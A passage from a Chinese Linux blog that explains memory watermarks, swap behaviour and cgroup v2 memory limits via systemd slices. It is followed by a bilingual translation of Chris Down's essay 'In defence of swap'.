但是如果程序繼續申請內存,空閒內存量就會在最小水位線附近上下徘徊。系統狀態處於 1. 不回收 的時候表明分配給系統的內存量過多,比如系統剛剛啓動之類的時候。 理想上應該讓系統長期處於 2. 後臺回收 的狀態,此時最大化利用緩存的效率而又不會因爲內存回收 減緩程序執行速度。如果系統引導後長期處於 1. 不回收 的狀態下,那麼說明沒有充分利用空閒內存做 文件緩存,有些 unix 服務比如 preload 可用來提前填充文件緩存。
如果系統頻繁進入 3. 直接回收 的狀態,表明在這種工作負載下系統需要減慢一些內存分配速度,
讓
kswapd
有足夠時間回收內存。就如前一篇翻譯中 Chris
所述,頻繁進入這種狀態也不一定代表「內存不足」,可能表示內存分配處於非常高效的利用狀態下,
系統充分利用慢速的磁盤帶寬,爲快速的內存緩存提供足夠的可用空間。
直接回收 是否對進程負載有負面影響要看具體負載的特性。
此時選擇禁用 swap 並不能降低磁盤I/O,反而可能縮短 2. 後臺回收 狀態能持續的時間,
導致更快進入 4. 殺進程回收 的極端狀態。
當然如果系統長期處於 直接回收 的狀態的話,則說明內存總量不足,需要考慮增加物理內存, 或者減少系統負載了。如果系統進入 4. 殺進程回收 的狀態,不光用空間的進程會受影響, 並且還可能導致內核態的內存分配受影響,產生網絡丟包之類的結果。
可以看一下運行中的系統中每個 Zone 的水位線在哪兒。比如我手上這個 16GiB 的系統中:
$ cat /proc/zoneinfo
Node 0, zone DMA
pages free 3459
min 16
low 20
high 24
spanned 4095
present 3997
managed 3975
Node 0, zone DMA32
pages free 225265
min 3140
low 3925
high 4710
spanned 1044480
present 780044
managed 763629
Node 0, zone Normal
pages free 300413
min 13739
low 17173
high 20607
spanned 3407872
present 3407872
managed 3328410
因爲不是 NUMA 系統,所以只有一個 NUMA node,其中根據 DMA 類型共有 3 個 Zone 分別叫 DMA, DMA32, Normal 。三個 Zone 的物理地址範圍(spanned)加起來大概有 \(4095+1044480+3407872\) 大約 17GiB 的地址空間,而實際可訪問的地址範圍(present )加起來有 \(3997+780044+3407872\) 大約 16GiB 的可訪問物理內存。
其中空閒頁面有 \(3459+762569+1460218\) 大約 8.5GiB ,三條水位線分別在: \(\texttt{high} = 24+4710+20607 = 98\texttt{MiB}\) , \(\texttt{low} = 20+3925+17173 = 82\texttt{MiB}\) , \(\texttt{min} = 16+3140+13739 = 65\texttt{MiB}\) 的位置。
具體這些水位線的確定方式基於幾個 sysctl 。首先 min 基於
vm.min_free_kbytes
默認是基於內核低端內存量的平方根算的值,並限制到最大 64MiB 再加點餘量,比如我這臺機器上
vm.min_free_kbytes = 67584
,於是 min 水位線在這個位置。
其它兩個水位線基於這個計算,在 min 基礎上增加總內存量的
vm.watermark_scale_factor / 10000
比例(在小內存的系統上還有額外考慮),默認
vm.watermark_scale_factor = 10
在大內存系統上意味着 low 比 min 高 0.1% , high 比 low 高 0.1% 。
可以手動設置這些值,以更早觸發內存回收,比如將
vm.watermark_scale_factor
設爲 100:
$ echo 100 | sudo tee /proc/sys/vm/watermark_scale_factor
$ cat /proc/zoneinfo
Node 0, zone DMA
pages free 3459
min 16
low 55
high 94
spanned 4095
present 3997
managed 3975
Node 0, zone DMA32
pages free 101987
min 3149
low 10785
high 18421
spanned 1044480
present 780044
managed 763629
Node 0, zone Normal
pages free 61987
min 13729
low 47013
high 80297
spanned 3407872
present 3407872
managed 3328410
得到的三條水位線分別在 \(\texttt{min} = 16+3149+13729 = 66\texttt{MiB}\) , \(\texttt{low} = 55+10785+47013 = 226\texttt{MiB}\) , \(\texttt{high} = 94+18421+80297 = 386\texttt{MiB}\) , 從而 low 和 high 分別比 min 提高 160MiB 也就是內存總量的 1% 左右。
在 swap 放在 HDD 的系統中,因爲換頁出去的速度較慢,除了上篇文章說的降低
vm.swappiness
之外,還可以適當提高
vm.watermark_scale_factor
讓內核更早開始回收內存,這雖然會稍微降低緩存命中率,但是另一方面可以在進入直接回收模式之前
有更多時間做後臺換頁,也將有助於改善系統整體流暢度。
所以之前的「誤解3」我說答案可以說「是」或者「不是」,但是無論回答是或不是,都代表了認爲「swap 就是額外的慢速內存」的錯誤看法。當有人在強調「swap 是內存快用完的時候才交換」的時候, 隱含地,是在把系統總體的內存分配看作是一個靜態的劃分過程:打個比方這就像在說,我的系統裏存儲空間有快速 128GiB SSD 和慢速 HDD 的 1TiB ,同樣內存有快速的 16GiB RAM 和慢速 16GiB 的 swap 。 這種靜態劃分的類比是錯誤的看待方式,因爲系統回收內存進而做頁面交換的方式是動態平衡的過程, 需要考慮到「時間」和「速率」而非單純看「容量」。
假設 swap 所在的存儲設備可以支持 5MiB/s 的吞吐率( HDD 上可能更慢, SSD 上可能更快,這裏需要關注數量級),相比之下 DDR3 大概有 10GiB/s 的吞吐率,DDR4 大概有 20GiB/s ,無論多快的 SSD 也遠達不到這樣的吞吐(可能 Intel Optane 這樣的 DAX 設備會改變這裏的狀況)。從而把 swap 當作慢速內存的視角來看的話,加權平均的速率是非常悲觀的,「 16G 的 DDR3 + 16G 的 swap 會有 \(\frac{16 \times 10 \times 1024 + 16 \times 5}{16+16} = 5 \texttt{GiB/s}\) 的吞吐?所以開 swap 導致系統速度降了一半?」顯然不能這樣看待。
動態的看待方式是, swap 設備能提供 5MiB/s 的吞吐,這意味着:如果我們能把未來 10 分鐘內不會訪問到的頁面換出到 swap ,那麼就相當於有 \(10 \times 60 \texttt{s} \times 5 \texttt{MiB/s} = 3000 \texttt{MiB}\) 的額外內存,用來放那 10 分鐘內可能會訪問到的頁面緩存。 10 分鐘只是隨口說的一段時間,可以換成 10 秒或者 10 小時,重要的是只要頁面交換發生在後臺, 不阻塞前臺程序的執行,那麼 swap 設備提供的額外吞吐率相當於一段時間內提供了更大的物理內存, 總是能提升頁面緩存的命中,從而改善系統性能。
當然系統內核不能預知「未來 10 分鐘內需要的頁面」,只能根據歷史上訪問內存的情況預估之後可能會訪問的情況, 估算不準的情況下,比如最近10分鐘內用過的頁面緩存在之後10分鐘內不再被使用的時候, 爲了把最近這10分鐘內訪問過的頁面留在物理內存中,可能會把之後10分鐘內要用到的匿名頁面換出到了交換設備上。 於是會有下面的情況:
大概電腦用戶都經歷過這種現象,不限於 Linux 用戶,包括 macOS 和 Windows 上也是。 在文件管理器中複製了幾個大文件之後,切換到別的程序系統就極其卡頓,複製已經結束之後的一段時間也會如此。 複製的過程中系統交換區的使用率在上漲,複製結束後下降,顯然 swap 在其中有重要因素,並且禁用 swap 或者調低 swappiness 之後就不會這樣了。於是網上大量流傳着解釋這一現象,並進一步建議禁用 swap 或者調低 swappiness 的文章。我相信不少關心系統性能調優的人看過這篇「 Tales from responsivenessland: why Linux feels slow, and how to fix that 」或是它的轉載、翻譯,用中文搜索的話還能找到更多錯誤解釋 swappiness 目的的文章,比如 這篇將 swappiness 解釋成是控制內存和交換區比例的參數 。
除去那些有技術上謬誤的文章,這些網文中描述的現象是有道理的,不單純是以訛傳訛。 桌面環境中內存分配策略的不確定性和服務器環境中很不一樣,複製、下載、解壓大文件等導致一段時間內 大量佔用頁面緩存,以至於把操作結束後需要的頁面攆出物理內存,無論是交換出去的方式還是以丟棄頁面緩存的方式, 都會導致桌面響應性降低。
不過就像前文 Chris 所述,這種現象其實並不能通過禁止 swap 的方式緩解:禁止 swap 或者調整 swappiness 讓系統儘量避免 swap 只影響回收匿名頁面的策略,不影響系統回收頁面的時機, 也不能避免系統丟棄將要使用的頁面緩存而導致的卡頓。
以前在 Linux 上也沒有什麼好方法能避免這種現象。 macOS 轉用 APFS 作爲默認文件系統之後, 從文件管理器(Finder)複製文件默認啓用 file clone 快速完成,這操作不實際複製文件數據, 一個隱含優勢在不需要讀入文件內容,從而不會導致大量頁面緩存失效。 Linux 上同樣可以用支持 reflink 的文件系統比如 btrfs 或者開了 reflink=1 的 xfs 達到類似的效果。 不過 reflink 也只能拯救複製文件的情況,不能改善解壓文件、下載文件、計算文件校驗等情況下, 一次性處理大文件對內存產生的壓力。
好在最近幾年 Linux 有了 cgroup ,允許更細粒度地調整系統資源分配。進一步現在我們有了 cgroup
v2 ,前面 Chris 的文章也有提到 cgroup v2 的
memory.low
可以某種程度上建議內存子系統
儘量避免回收某些 cgroup 進程的內存。
於是有了 cgroup 之後,另一種思路是把複製文件等大量使用內存而之後又不需要保留頁面緩存的程序單獨放入 cgroup 內限制它的內存用量,用一點點複製文件時的性能損失換來整體系統的響應流暢度。
稍微跑題說一下 cgroup v2 相對於 v1 帶來的優勢。這方面優勢在 Chris Down 另一個關於 cgroup v2 演講 中有提到。老 cgroup v1 按控制器區分 cgroup 層級,從而內存控制器所限制的東西和 IO 控制器所限制的東西是獨立的。在內核角度來看,頁面寫回(page writeback)和交換(swap)正是 夾在內存控制器和IO控制器管理的邊界上,從而用 v1 的 cgroup 難以同時管理。 v2 通過統一控制器層級解決了這方面限制。具體見下面 Chris Down 的演講。
實際上有了 cgroup v2 之後,還有更多控制內存分配的方案。 cgroup v2 的內存控制器 可以對某個 cgroup 設置這些閾值:
可見這些設定值可以當作 per-cgroup 的內存分配水位線,作用於某一部分進程而非整個系統。 針對交換區使用情況也可設置這些閾值:
到達這些 cgroup 設定閾值的時候,還可以設置內核回調的處理程序,從用戶空間做一些程序相關的操作。
Linux 有了 cgroup v2 之後,就可以通過對某些程序設置內存用量限制,避免他們產生的頁面請求把別的
程序所需的頁面擠出物理內存。使用 systemd 的系統中,首先需要
啓用 cgroup v2
,在內核引導參數中加上
systemd.unified_cgroup_hierarchy=1
。然後開啓用戶權限代理:
# systemctl edit user@1000.service
[Service]
Delegate=yes
然後可以定義用戶會話的 slice (slice 是 systemd 術語,用來映射 cgroup ),比如創建一個叫
limit-mem
的 slice :
$ cat ~/.config/systemd/user/limit-mem.slice
[Slice]
MemoryHigh=3G
MemoryMax=4G
MemorySwapMax=2G
然後可以用 systemd-run 限制在某個 slice 中打開一個 shell:
$ systemd-run --user --slice=limit-mem.slice --shell
或者定義一個 shell alias 用來限制任意命令:
$ type limit-mem
limit-mem is an alias for /usr/bin/time systemd-run --user --pty --same-dir --wait --collect --slice=limit-mem.slice
$ limit-mem cp some-large-file dest/
實際用法有很多,可以參考 systemd 文檔 man systemd.resource-control , xuanwo 也 有篇博客介紹過 systemd 下資源限制 , lilydjwg 也 寫過用 cgroup 限制進程內存的用法 和 用 cgroup 之後對 CPU 調度的影響 。
最近新版的 gnome 和 KDE 已經開始爲桌面環境下用戶程序的進程創建 systemd scope 了,
可以通過
systemd-cgls
觀察到,每個通過桌面文件(.desktop)開啓的用戶空間程序
都有個獨立的名字叫
app-APPNAME-HASH.scope
之類的 systemd scope 。
有了這些 scope 之後,事實上用戶程序的資源分配某種程度上已經相互獨立,
不過默認的用戶程序沒有施加多少限制。
今後可以展望,桌面環境可以提供用戶友好的方式對這些桌面程序施加公平性的限制。 不光是內存分配的大小限制,包括 CPU 和 IO 佔用方面也會更公平。 值得一提的是傳統的 ext4/xfs/f2fs 之類的文件系統雖然支持 cgroup writeback 節流 但是因爲他們有額外的 journaling 寫入,難以單獨針對某些 cgroup 限制 IO 寫入帶寬(對文件系統元數據的寫入難以統計到具體某組進程)。 而 btrfs 通過 CoW 避免了 journaling , 在這方面有更好的支持 。相信不遠的將來,複製大文件之類常見普通操作不再需要手動調用加以限制, 就能避免單個程序佔用太多資源影響別的程序。
這篇翻譯自 Chris Down 的博文 In defence of swap: common misconceptions 。 原文的協議 是 CC BY-SA 4.0 ,本文翻譯同樣也使用 CC BY-SA 4.0 。其中加入了一些我自己的理解作爲旁註,所有譯註都在側邊欄中。
翻譯這篇文章是因爲經常看到朋友們(包括有經驗的程序員和 Linux 管理員)對 swap 和 swappiness 有諸多誤解,而這篇文章正好澄清了這些誤解,也講清楚了 Linux 中這兩者的本質。值得一提的是本文討論的 swap 針對 Linux 內核,在別的系統包括 macOS/WinNT 或者 Unix 系統中的交換文件可能有不同一樣的行爲, 需要不同的調優方式。比如在 FreeBSD handbook 中明確建議了 swap 分區通常應該是兩倍物理內存大小,這一點建議對 FreeBSD 系內核的內存管理可能非常合理, 而不一定適合 Linux 內核,FreeBSD 和 Linux 有不同的內存管理方式尤其是 swap 和 page cache 和 buffer cache 的處理方式有諸多不同。
經常有朋友看到系統卡頓之後看系統內存使用狀況觀察到大量 swap 佔用,於是覺得卡頓是來源於 swap 。就像文中所述,相關不蘊含因果,產生內存顛簸之後的確會造成大量 swap 佔用,也會造成系統卡頓, 但是 swap 不是導致卡頓的原因,關掉 swap 或者調低 swappiness 並不能阻止卡頓,只會將 swap 造成的 I/O 轉化爲加載文件緩存造成的 I/O 。
以下是原文翻譯:
tl;dr:
- Having swap is a reasonably important part of a well functioning system. Without it, sane memory management becomes harder to achieve.
- Swap is not generally about getting emergency memory, it's about making memory reclamation egalitarian and efficient. In fact, using it as "emergency memory" is generally actively harmful.
- Disabling swap does not prevent disk I/O from becoming a problem under memory contention, it simply shifts the disk I/O thrashing from anonymous pages to file pages. Not only may this be less efficient, as we have a smaller pool of pages to select from for reclaim, but it may also contribute to getting into this high contention state in the first place.
- The swapper on kernels before 4.0 has a lot of pitfalls, and has contributed to a lot of people's negative perceptions about swap due to its overeagerness to swap out pages. On kernels >4.0, the situation is significantly better.
- On SSDs, swapping out anonymous pages and reclaiming file pages are essentially equivalent in terms of performance/latency. On older spinning disks, swap reads are slower due to random reads, so a lower
vm.swappiness
setting makes sense there (read on for more aboutvm.swappiness
).- Disabling swap doesn't prevent pathological behaviour at near-OOM, although it's true that having swap may prolong it. Whether the system global OOM killer is invoked with or without swap, or was invoked sooner or later, the result is the same: you are left with a system in an unpredictable state. Having no swap doesn't avoid this.
- You can achieve better swap behaviour under memory pressure and prevent thrashing using
memory.low
and friends in cgroup v2.
太長不看:
vm.swappiness
可能比較合理(繼續讀下面關於
vm.swappiness
的描述)。
memory.low
相關機制來改善內存壓力下 swap 的行爲並且
避免發生顛簸。As part of my work improving kernel memory management and cgroup v2, I've been talking to a lot of engineers about attitudes towards memory management, especially around application behaviour under pressure and operating system heuristics used under the hood for memory management.
我的工作的一部分是改善內核中內存管理和 cgroup v2 相關,所以我和很多工程師討論過看待內存管理的態度, 尤其是在壓力下應用程序的行爲和操作系統在底層內存管理中用的基於經驗的啓發式決策邏輯。
A repeated topic in these discussions has been swap. Swap is a hotly contested and poorly understood topic, even by those who have been working with Linux for many years. Many see it as useless or actively harmful: a relic of a time where memory was scarce, and disks were a necessary evil to provide much-needed space for paging. This is a statement that I still see being batted around with relative frequency in recent years, and I've had many discussions with colleagues, friends, and industry peers to help them understand why swap is still a useful concept on modern computers with significantly more physical memory available than in the past.
在這種討論中經常重複的話題是交換區(swap)。交換區的話題是非常有爭議而且很少被理解的話題,甚至包括那些在 Linux 上工作過多年的人也是如此。很多人覺得它沒什麼用甚至是有害的:它是歷史遺蹟,從內存緊缺而 磁盤讀寫是必要之惡的時代遺留到現在,爲計算機提供在當年很必要的頁面交換功能作爲內存空間。 最近幾年我還經常能以一定頻度看到這種論調,然後我和很多同事、朋友、業界同行們討論過很多次, 幫他們理解爲什麼在現代計算機系統中交換區仍是有用的概念,即便現在的電腦中物理內存已經遠多於過去。
There's also a lot of misunderstanding about the purpose of swap – many people just see it as a kind of "slow extra memory" for use in emergencies, but don't understand how it can contribute during normal load to the healthy operation of an operating system as a whole.
圍繞交換區的目的還有很多誤解——很多人覺得它只是某種爲了應對緊急情況的「慢速額外內存」, 但是沒能理解在整個操作系統健康運作的時候它也能改善普通負載的性能。
Many of us have heard most of the usual tropes about memory: " Linux uses too much memory ", " swap should be double your physical memory size ", and the like. While these are either trivial to dispel, or discussion around them has become more nuanced in recent years, the myth of "useless" swap is much more grounded in heuristics and arcana rather than something that can be explained by simple analogy, and requires somewhat more understanding of memory management to reason about.
我們很多人也聽說過描述內存時所用的常見說法: 「 Linux 用了太多內存 」,「 swap 應該設爲物理內存的兩倍大小 」,或者類似的說法。 雖然這些誤解要麼很容易化解,或者關於他們的討論在最近幾年已經逐漸變得瑣碎,但是關於「無用」交換區 的傳言有更深的經驗傳承的根基,而不是一兩個類比就能解釋清楚的,並且要探討這個先得對內存管理有 一些基礎認知。
This post is mostly aimed at those who administrate Linux systems and are interested in hearing the counterpoints to running with undersized/no swap or running with vm.swappiness set to 0.
本文主要目標是針對那些管理 Linux 系統並且有興趣理解「讓系統運行於低/無交換區狀態」或者「把
vm.swappiness
設爲 0 」這些做法的反論。
It's hard to talk about why having swap and swapping out pages are good things in normal operation without a shared understanding of some of the basic underlying mechanisms at play in Linux memory management, so let's make sure we're on the same page.
如果沒有基本理解 Linux 內存管理的底層機制是如何運作的,就很難討論爲什麼需要交換區以及交換出頁面 對正常運行的系統爲什麼是件好事,所以我們先確保大家有討論的基礎。
There are many different types of memory in Linux, and each type has its own properties. Understanding the nuances of these is key to understanding why swap is important.
Linux 中內存分爲好幾種類型,每種都有各自的屬性。想理解爲什麼交換區很重要的關鍵一點在於理解這些的細微區別。
For example, there are pages ("blocks" of memory, typically 4k) responsible for holding the code for each process being run on your computer. There are also pages responsible for caching data and metadata related to files accessed by those programs in order to speed up future access. These are part of the page cache , and I will refer to them as file memory.
比如說,有種 頁面(「整塊」的內存,通常 4K) 是用來存放電腦裏每個程序運行時各自的代碼的。 也有頁面用來保存這些程序所需要讀取的文件數據和元數據的緩存,以便加速隨後的文件讀寫。 這些內存頁面構成 頁面緩存(page cache),後文中我稱他們爲文件內存。
There are also pages which are responsible for the memory allocations made inside that code, for example, when new memory that has been allocated withmalloc
is written to, or when usingmmap
'sMAP_ANONYMOUS
flag. These are "anonymous" pages – so called because they are not backed by anything – and I will refer to them as anon memory.
還有一些頁面是在代碼執行過程中做的內存分配得到的,比如說,當代碼調用
malloc
能分配到新內存區,或者使用
mmap
的
MAP_ANONYMOUS
標誌分配的內存。
這些是「匿名(anonymous)」頁面——之所以這麼稱呼它們是因爲他們沒有任何東西作後備——
後文中我稱他們爲匿名內存。
There are other types of memory too – shared memory, slab memory, kernel stack memory, buffers, and the like – but anonymous memory and file memory are the most well known and easy to understand ones, so I will use these in my examples, although they apply equally to these types too.
還有其它類型的內存——共享內存、slab內存、內核棧內存、文件緩衝區(buffers),這種的—— 但是匿名內存和文件內存是最知名也最好理解的,所以後面的例子裏我會用這兩個說明, 雖然後面的說明也同樣適用於別的這些內存類型。
One of the most fundamental questions when thinking about a particular type of memory is whether it is able to be reclaimed or not. "Reclaim" here means that the system can, without losing data, purge pages of that type from physical memory.
考慮某種內存的類型時,一個非常基礎的問題是這種內存是否能被回收。 「回收(Reclaim)」在這裏是指系統可以,在不丟失數據的前提下,從物理內存中釋放這種內存的頁面。
For some page types, this is typically fairly trivial. For example, in the case of clean (unmodified) page cache memory, we're simply caching something that we have on disk for performance, so we can drop the page without having to do any special operations.
對一些內存類型而言,是否可回收通常可以直接判斷。比如對於那些乾淨(未修改)的頁面緩存內存, 我們只是爲了性能在用它們緩存一些磁盤上現有的數據,所以我們可以直接扔掉這些頁面, 不需要做什麼特殊的操作。
For some page types, this is possible, but not trivial. For example, in the case of dirty (modified) page cache memory, we can't just drop the page, because the disk doesn't have our modifications yet. As such we either need to deny reclamation or first get our changes back to disk before we can drop this memory.
對有些內存類型而言,回收是可能的,但是不是那麼直接。比如對髒(修改過)的頁面緩存內存, 我們不能直接扔掉這些頁面,因爲磁盤上還沒有寫入我們所做的修改。這種情況下,我們可以選擇拒絕回收, 或者選擇先等待我們的變更寫入磁盤之後才能扔掉這些內存。
For some page types, this is not possible. For example, in the case of the anonymous pages mentioned previously, they only exist in memory and in no other backing store, so they have to be kept there.
對還有些內存類型而言,是不能回收的。比如前面提到的匿名頁面,它們只存在於內存中,沒有任何後備存儲, 所以它們必須留在內存裏。
If you look for descriptions of the purpose of swap on Linux, you'll inevitably find many people talking about it as if it is merely an extension of the physical RAM for use in emergencies. For example, here is a random post I got as one of the top results from typing "what is swap" in Google:
Swap is essentially emergency memory; a space set aside for times when your system temporarily needs more physical memory than you have available in RAM. It's considered "bad" in the sense that it's slow and inefficient, and if your system constantly needs to use swap then it obviously doesn't have enough memory. […] If you have enough RAM to handle all of your needs, and don't expect to ever max it out, then you should be perfectly safe running without a swap space.
如果你去搜 Linux 上交換區的目的的描述,肯定會找到很多人說交換區只是在緊急時用來擴展物理內存的機制。 比如下面這段是我在 google 中輸入「什麼是 swap」 從前排結果中隨機找到的一篇:
交換區本質上是緊急內存;是爲了應對你的系統臨時所需內存多餘你現有物理內存時,專門分出一塊額外空間。 大家覺得交換區「不好」是因爲它又慢又低效,並且如果你的系統一直需要使用交換區那說明它明顯沒有足夠的內存。 [……]如果你有足夠內存覆蓋所有你需要的情況,而且你覺得肯定不會用滿內存,那麼完全可以不用交換區 安全地運行系統。
To be clear, I don't blame the poster of this comment at all for the content of their post – this is accepted as "common knowledge" by a lot of Linux sysadmins and is probably one of the most likely things that you will hear from one if you ask them to talk about swap. It is unfortunately also, however, a misunderstanding of the purpose and use of swap, especially on modern systems.
事先說明,我不想因爲這些文章的內容責怪這些文章的作者——這些內容被很多 Linux 系統管理員認爲是「常識」, 並且很可能你問他們什麼是交換區的時候他們會給你這樣的回答。但是也很不幸的是, 這種認識是使用交換區的目的的一種普遍誤解,尤其在現代系統上。
Above, I talked about reclamation for anonymous pages being "not possible", as anonymous pages by their nature have no backing store to fall back to when being purged from memory – as such, their reclamation would result in complete data loss for those pages. What if we could create such a store for these pages, though?
前文中我說過回收匿名頁面的內存是「不可能的」,因爲匿名內存的特點,把它們從內存中清除掉之後, 沒有別的存儲區域能作爲他們的備份——因此,要回收它們會造成數據丟失。但是,如果我們爲這種內存頁面創建 一種後備存儲呢?
Well, this is precisely what swap is for. Swap is a storage area for these seemingly "unreclaimable" pages that allows us to page them out to a storage device on demand. This means that they can now be considered as equally eligible for reclaim as their more trivially reclaimable friends, like clean file pages, allowing more efficient use of available physical memory.
嗯,這正是交換區存在的意義。交換區是一塊存儲空間,用來讓這些看起來「不可回收」的內存頁面在需要的時候 可以交換到存儲設備上。這意味着有了交換區之後,這些匿名頁面也和別的那些可回收內存一樣, 可以作爲內存回收的候選,就像乾淨文件頁面,從而允許更有效地使用物理內存。
Swap is primarily a mechanism for equality of reclamation, not for emergency "extra memory". Swap is not what makes your application slow – entering overall memory contention is what makes your application slow.
交換區主要是爲了平等的回收機制,而不是爲了緊急情況的「額外內存」。使用交換區不會讓你的程序變慢—— 進入內存競爭的狀態才是讓程序變慢的元兇。
So in what situations under this "equality of reclamation" scenario would we legitimately choose to reclaim anonymous pages? Here are, abstractly, some not uncommon scenarios:
那麼在這種「平等的可回收機遇」的情況下,讓我們選擇回收匿名頁面的行爲在何種場景中更合理呢? 抽象地說,比如在下述不算罕見的場景中:
- During initialisation, a long-running program may allocate and use many pages. These pages may also be used as part of shutdown/cleanup, but are not needed once the program is "started" (in an application-specific sense). This is fairly common for daemons which have significant dependencies to initialise.
- During the program's normal operation, we may allocate memory which is only used rarely. It may make more sense for overall system performance to require a major fault to page these in from disk on demand, instead using the memory for something else that's more important.
Let's look at typical situations, and how they perform with and without swap present. I talk about metrics around "memory contention" in my talk on cgroup v2 .
我們來看一些在常見場景中,有無交換區時分別會如何運行。 在我的 關於 cgroup v2 的演講 中探討過「內存競爭」的指標。
- With swap: We can choose to swap out rarely-used anonymous memory that may only be used during a small part of the process lifecycle, allowing us to use this memory to improve cache hit rate, or do other optimisations.
- Without swap We cannot swap out rarely-used anonymous memory, as it's locked in memory. While this may not immediately present as a problem, on some workloads this may represent a non-trivial drop in performance due to stale, anonymous pages taking space away from more important use.
討論內核中內存管理的時候經常會說到內存頁的 冷熱 程度。這裏冷熱是指歷史上內存頁被訪問到的頻度, 內存管理的經驗在說,歷史上在近期頻繁訪問的 熱 內存,在未來也可能被頻繁訪問, 從而應該留在物理內存裏;反之歷史上不那麼頻繁訪問的 冷 內存,在未來也可能很少被用到, 從而可以考慮交換到磁盤或者丟棄文件緩存。
顛簸(thrash) 這個詞在文中出現多次但是似乎沒有詳細介紹,實際計算機科學專業的課程中應該有講過。 一段時間內,讓程序繼續運行所需的熱內存總量被稱作程序的工作集(workset),估算工作集大小, 換句話說判斷進程分配的內存頁中哪些屬於 熱 內存哪些屬於 冷 內存,是內核中 內存管理的最重要的工作。當分配給程序的內存大於工作集的時候,程序可以不需要等待I/O全速運行; 而當分配給程序的內存不足以放下整個工作集的時候,意味着程序每執行一小段就需要等待換頁或者等待 磁盤緩存讀入所需內存頁,產生這種情況的時候,從用戶角度來看可以觀察到程序肉眼可見的「卡頓」。 當系統中所有程序都內存不足的時候,整個系統都處於顛簸的狀態下,響應速度直接降至磁盤I/O的帶寬。 如本文所說,禁用交換區並不能防止顛簸,只是從等待換頁變成了等待文件緩存, 給程序分配超過工作集大小的內存才能防止顛簸。
- With swap: All memory types have an equal possibility of being reclaimed. This means we have more chance of being able to reclaim pages successfully – that is, we can reclaim pages that are not quickly faulted back in again (thrashing).
- Without swap Anonymous pages are locked into memory as they have nowhere to go. The chance of successful long-term page reclamation is lower, as we have only some types of memory eligible to be reclaimed at all. The risk of page thrashing is higher. The casual reader might think that this would still be better as it might avoid having to do disk I/O, but this isn't true – we simply transfer the disk I/O of swapping to dropping hot page caches and dropping code segments we need soon.
- With swap: We're more resilient to temporary spikes, but in cases of severe memory starvation, the period from memory thrashing beginning to the OOM killer may be prolonged. We have more visibility into the instigators of memory pressure and can act on them more reasonably, and can perform a controlled intervention.
- Without swap The OOM killer is triggered more quickly as anonymous pages are locked into memory and cannot be reclaimed. We're more likely to thrash on memory, but the time between thrashing and OOMing is reduced. Depending on your application, this may be better or worse. For example, a queue-based application may desire this quick transfer from thrashing to killing. That said, this is still too late to be really useful – the OOM killer is only invoked at moments of severe starvation, and relying on this method for such behaviour would be better replaced with more opportunistic killing of processes as memory contention is reached in the first place.
You didn't think you'd get through this entire post without me plugging cgroup v2, did you? ;-)
你肯定想到了我寫這篇文章一定會在哪兒插點 cgroup v2 的安利吧? ;-)
Obviously, it's hard for a generic heuristic algorithm to be right all the time, so it's important for you to be able to give guidance to the kernel. Historically the only tuning you could do was at the system level, usingvm.swappiness
. This has two problems:vm.swappiness
is incredibly hard to reason about because it only feeds in as a small part of a larger heuristic system, and it also is system-wide instead of being granular to a smaller set of processes.
顯然,要設計一種對所有情況都有效的啓發算法會非常難,所以給內核提一些指引就很重要。
歷史上我們只能在整個系統層面做這方面微調,通過
vm.swappiness
。這有兩方面問題:
vm.swappiness
的行爲很難準確控制,因爲它只是傳遞給一個更大的啓發式算法中的一個小參數;
並且它是一個系統級別的設置,沒法針對一小部分進程微調。
You can also usemlock
to lock pages into memory, but this requires either modifying program code, fun withLD_PRELOAD
, or doing horrible things with a debugger at runtime. In VM-based languages this also doesn't work very well, since you generally have no control over allocation and end up having tomlockall
, which has no precision towards the pages you actually care about.
你可以用
mlock
把頁面鎖在內存裏,但是這要麼必須改程序代碼,或者折騰
LD_PRELOAD
,或者在運行期用調試器做一些魔法操作。對基於虛擬機的語言來說這種方案也不能
很好工作,因爲通常你沒法控制內存分配,最後得用上
mlockall
,而這個沒有辦法精確指定你實際上想鎖住的頁面。
cgroup v2 has a tunable per-cgroup in the form of
memory.low
, which allows us to tell the kernel to prefer other applications for
reclaim below a certain threshold of memory used. This allows us to not
prevent the kernel from swapping out parts of our application,
but prefer to reclaim from other applications under memory contention.
Under normal conditions, the kernel's swap logic is generally pretty good,
and allowing it to swap out pages opportunistically generally increases
system performance. Swap thrash under heavy memory contention is not ideal,
but it's more a property of simply running out of memory entirely than
a problem with the swapper. In these situations, you typically want to
fail fast by self-killing non-critical processes when memory pressure
starts to build up.
cgroup v2 提供了一套可以每個 cgroup 微調的
memory.low
,允許我們告訴內核說當使用的內存低於一定閾值之後優先回收別的程序的內存。這可以讓我們不強硬禁止內核
換出程序的一部分內存,但是當發生內存競爭的時候讓內核優先回收別的程序的內存。在正常條件下,
內核的交換邏輯通常還是不錯的,允許它有條件地換出一部分頁面通常可以改善系統性能。在內存競爭的時候
發生交換顛簸雖然不理想,但是這更多地是單純因爲整體內存不夠了,而不是因爲交換進程(swapper)導致的問題。
在這種場景下,你通常希望在內存壓力開始積攢的時候通過自殺一些非關鍵的進程的方式來快速退出(fail fast)。
You can not simply rely on the OOM killer for this. The OOM killer is only invoked in situations of dire failure when we've already entered a state where the system is severely unhealthy and may well have been so for a while. You need to opportunistically handle the situation yourself before ever thinking about the OOM killer.
你不能依賴 OOM 殺手達成這個。 OOM 殺手只有在非常急迫的情況下纔會出動,那時系統已經處於極度不健康的 狀態了,而且很可能在這種狀態下保持了一陣子了。需要在開始考慮 OOM 殺手之前,積極地自己處理這種情況。
Determination of memory pressure is somewhat difficult using traditional Linux memory counters, though. We have some things which seem somewhat related, but are merely tangential – memory usage, page scans, etc – and from these metrics alone it's very hard to tell an efficient memory configuration from one that's trending towards memory contention. There is a group of us at Facebook, spearheaded by Johannes , working on developing new metrics that expose memory pressure more easily that should help with this in future. If you're interested in hearing more about this, I go into detail about one metric being considered in my talk on cgroup v2.
不過,用傳統的 Linux 內存統計數據還是挺難判斷內存壓力的。我們有一些看起來相關的系統指標,但是都 只是支離破碎的——內存用量、頁面掃描,這些——單純從這些指標很難判斷系統是處於高效的內存利用率還是 在滑向內存競爭狀態。我們在 Facebook 有個團隊,由 Johannes 牽頭,努力開發一些能評價內存壓力的新指標,希望能在今後改善目前的現狀。 如果你對這方面感興趣, 在我的 cgroup v2 的演講中介紹到一個被提議的指標 。
In general, the minimum amount of swap space required for optimal memory management depends on the number of anonymous pages pinned into memory that are rarely reaccessed by an application, and the value of reclaiming those anonymous pages. The latter is mostly a question of which pages are no longer purged to make way for these infrequently accessed anonymous pages.
